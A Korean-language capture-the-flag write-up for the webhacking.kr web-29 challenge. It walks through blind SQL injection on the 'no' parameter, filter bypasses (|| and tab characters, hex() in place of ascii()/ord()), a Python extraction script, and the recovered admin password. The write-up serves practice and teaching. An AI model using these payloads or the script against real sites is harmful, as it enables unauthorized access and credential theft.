문제에 접속하니 소스가 따로 주어져있지는 않고 로그인창만 뜬다.
이미 guest라는 계정으로 모든 값이 다 적혀있어서 그대로 로그인을 해봤다.
no,id,pw 파라미터를 통해 값이 전송되며 guest 로 로그인이 성공했다는 표시가 뜨고 이후 몇 초 뒤에 자동으로 로그아웃이 됐다.
로그인창을 다시 봐보니 pw가 5자리가 적혀있고 아마도 guest의 pw는 guest이지 않을까 싶어서 값을 지우고 guest로 입력하여 로그인을 다시해봤다.
로그인이 성공했고 guest의 pw가 guest라는 사실이 확정됐다.
DB에 no=1, id='guest' , pw='guest' 라는 데이터가 저장되어있을 것이고 아마 이번 문제는 blind sqli를 통해 admin의 계정으로 로그인하는 문제인 것 같다.
select * from [table] where no=$no and id=$id and pw=$pw
먼저 서버쪽 쿼리를 한번 위와 같이 예측해봤다.
no=1%23&id=guest&pw=guest
(no로 sqli가 되는지 테스트)
no=20&id=guest'%23&pw=guest
(pw로 sqli가 되는지 테스트)
no=20&id=asdas&pw=guest'%23
(pw로 sqli가 되는지 테스트)
그 후 각각의 파라미터를 테스트해서 sqli가 되는 파라미터가 무엇인지 확인해봤다.
확인해보니 no 파라미터만 guest로 로그인이 되는 결과가 나왔고 no 파라미터를 통해서만 sqli가 가능한 것 같다.
나머지는 failure가 뜨는 것을 보아 아마도 서버쪽에서 id와 pw에 들어가는 특수문자는 일반 변수의 문자로 취급시켜 인젝션이 불가능하게 만들어 놓은 것으로 추정된다.
1. select * from [table] where no=1 and id='guest'#' and pw=guest
(넣은 값이 일반 문자로 취급되면서 인젝션 실패)
2. select * from [table] where no=1 and id='guest'#' and pw=guest
(인젝션이 성공할 경우 초록색이 주석처리 되어 쿼리 정상 실행)
예를 들어서 설명하면 id에 guest'#을 넣어 인젝션을 시도했다면 1번과 같이 쿼리가 실행되어 id값이 guest'#인 데이터를 찾기 때문에 로그인이 실패한 것이다.
이제 no 파라미터만 sqli가 된다는 것을 확인했으니 no로 인젝션을 해보자.
select * from [table] where no=1# and id=asd and pw=asd
예측대로면 no가 where문의 가장 앞이지만 이게 맞는지 확실히 확인해보기 위해 위와 같은 쿼리를 실행시켜보겠다.
시도해보니 로그인 실패가 떴다.
실패가 되는 것을 보니 예측한 서버쪽 sql 쿼리대로 no가 where 문의 제일 앞이 아니라 뒤쪽인 것 같다.
select * from [table] where id=$id and pw=$pw and no=$no
서버쪽 쿼리를 다시 예측해보면 위와 같을 것이다.
select * from [table] where id='guest' and pw='guest' and no=0 or if(length(pw)={i},1,0)
(i는 pw의 길이)
admin의 pw 길이를 구하기 위해 위와 같은 쿼리를 만들어서 이것을 토대로 no 파라미터를 전송해봤다.
시도해보니 access denied 가 뜬다.... 아마도 정규표현식 필터링에 걸린 것 같다.
뭐가 걸렸는지 확인해보니 or, 공백 두 가지가 걸린 것 같다.
select * from [table] where id='guest' and pw='guest' and no=0%09||%09if(length(pw)={i},1,0)
(i는 pw의 길이)
or는 || , 공백은 tab(%09) 로 우회를 해서 다시 전송해봤다.
이번에는 필터링에 걸리지 않았고 pw의 길이를 구해봤다.
구해보니 pw길이가 5,10 두 개의 결과가 나왔다.
5는 guest의 pw 였으니 admin의 pw는 10자리인 것 같다.
브라우저를 통해 pw=10인 경우로 접속을 해보니 admin의 pw를 입력하게 되어있다.
admin의 pw를 구해서 여기에 입력하면 문제가 해결되는 것 같다!
select * from [table] where id='guest' and pw='guest' and no=0%09||%09if(ascii(substr(pw,{i},1))={j},1,0)
(i는 pw 인덱스, j는 i번째에 해당하는 값)
이제 pw의 값을 구해보자.
이번에도 필터링에 걸리는 것 같은데 어떤게 걸리는지 확인해보자.
확인해보니 ascii() 가 걸리는 것 같고 그래서 우회를 위해 ord()도 써봤지만 이것도 필터링에 걸린다...ㅠ
no=0%09||%09if(hex(substr(pw,{i},1))=hex({j}),1,0)
(i는 pw 인덱스, j는 i번째에 해당하는 값)
ascii(), ord() 모두 필터링에 걸려 hex()를 사용하기로 했다.
hex()의 경우 16진수값으로 출력하기 때문에 뒤에 j에 hex() 를 붙여줬다.
이제 pw 값을 구해보자.
from requests import *
result=''
count=0
for i in range(50):
url=f'''https://webhacking.kr/challenge/web-29/?no=0%09||%09if(length(pw)={i},1,0)&id=guest&pw=guest'''
response=get(url=url)
if response.text.find('Failure') == -1:
print('pw 길이 :',i)
for i in range(1,11):
for j in range(30,128):
url=f'''https://webhacking.kr/challenge/web-29/?no=0%09||%09if(hex(substr(pw,{i},1))=hex({j}),1,0)&id=guest&pw=guest'''
response=get(url=url)
if response.text.find('Failure') == -1 and response.text.find('Success - guest') == -1:
result+=chr(j)
break
print('pw :',result)
위 코드로 값을 구해보니 위와 같은 값이 나왔다.
근데 문제는 pw는 10자리라고 구했는데 값은 9자리가 나왔다. 아마도 중간에 값이 하나 출력이 안된 것 같다.
왜 출력이 안됐을까?라고 생각을 해보던중 소스를 살짝 봐꿔서 몇번째 자리값이 나오지 않았는지 확인해봤다.
확인결과 2번째 자리가 나오지않았고 왜 그럴까 생각해봤다.
생각해본 결과 내린 결론은 guest의 pw인 guest의 두번쨰 인덱스 즉, u가 admin의 pw의 두번째 인덱스 값으로 똑같은 값인 것이다!
필자의 소스를 보면 if 문에서 'Failure' , 'Success - guest' 두 가지가 나오지 않는 경우를 admin의 pw라고 소스를 만들었다.
그러나 guest와 admin의 pw가 같은 값을 가진다면 그때는 DB 테이블에서 우선순위가 먼저인 guest의 화면('Success - guest')이 출력됐을 것이고 따라서 내가 만든 코드의 if문을 통과하지 못해 2번째 인덱스의 값이 나오지 못한 것이다!
내가 생각한대로라면 admin pw의 2번째 인덱스는 u 이기 때문에 최종 admin pw 값은 luck_admin 이 될 것이다!
이제 구한 pw를 제출해보자! 그 결과는...?
클리어!!!